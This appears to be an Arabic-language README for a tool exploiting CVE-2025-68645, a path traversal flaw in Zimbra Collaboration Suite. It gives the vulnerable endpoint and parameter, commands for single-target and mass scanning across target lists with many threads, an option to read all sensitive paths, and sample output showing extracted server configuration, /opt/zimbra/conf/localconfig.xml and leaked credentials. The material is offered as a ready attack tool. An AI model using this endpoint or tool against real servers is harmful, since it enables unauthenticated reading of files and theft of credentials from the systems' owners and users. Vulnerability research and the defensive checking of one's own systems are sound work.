CVE-2025-68645 - ثغرة اجتياز المسار في Zimbra

📋 نظرة عامة

CVE-2025-68645 هي ثغرة اجتياز المسار في Zimbra Collaboration Suite تسمح للمهاجمين غير المصادقين بقراءة ملفات عشوائية من نظام ملفات الخادم.

النقطة النهائية المعرضة للخطر

/h/printconversations?javax.servlet.include.servlet_path=

🎯 التأثير

📁 الملفات القابلة للقراءة

🚀 الاستخدام

فحص هدف واحد

python CVE-2025-68645.py.py -t https://target.zimbra.com

الفحص الجماعي

python CVE-2025-68645.py.py -l targets.txt -o results.json --threads 20

الخيارات المتقدمة

python CVE-2025-68645.py.py -t https://target.zimbra.com -v --timeout 30

📊 وسائط سطر الأوامر

الوسيط الوصف الافتراضي -t, --target عنوان URL هدف واحد None -l, --list ملف يحتوي على قائمة الأهداف None -o, --output اسم ملف الإخراج results.json --threads عدد الخيوط المتزامنة 10 --timeout مهلة الطلب بالثواني 15 -v, --verbose تمكين الإخراج المفصل False --no-verify تعطيل التحقق من SSL False --read-all قراءة جميع المسارات الحساسة False

📸 مثال على الإخراج

[*] Scanning: https://target.zimbra.local [✓] VULNERABLE: https://target.zimbra.local [+] Extracted configuration: version: 220726130125 memcached: target.local:11211 httpsPort: 8443 httpPort: 8080 [+] Found: /WEB-INF/web.xml [+] Found: /opt/zimbra/conf/localconfig.xml [!] Possible credentials leaked in /WEB-INF/web.xml

============================================================ SCAN COMPLETE! Time elapsed: 1.02 seconds Total targets: 1 Vulnerable: 1 Not vulnerable: 0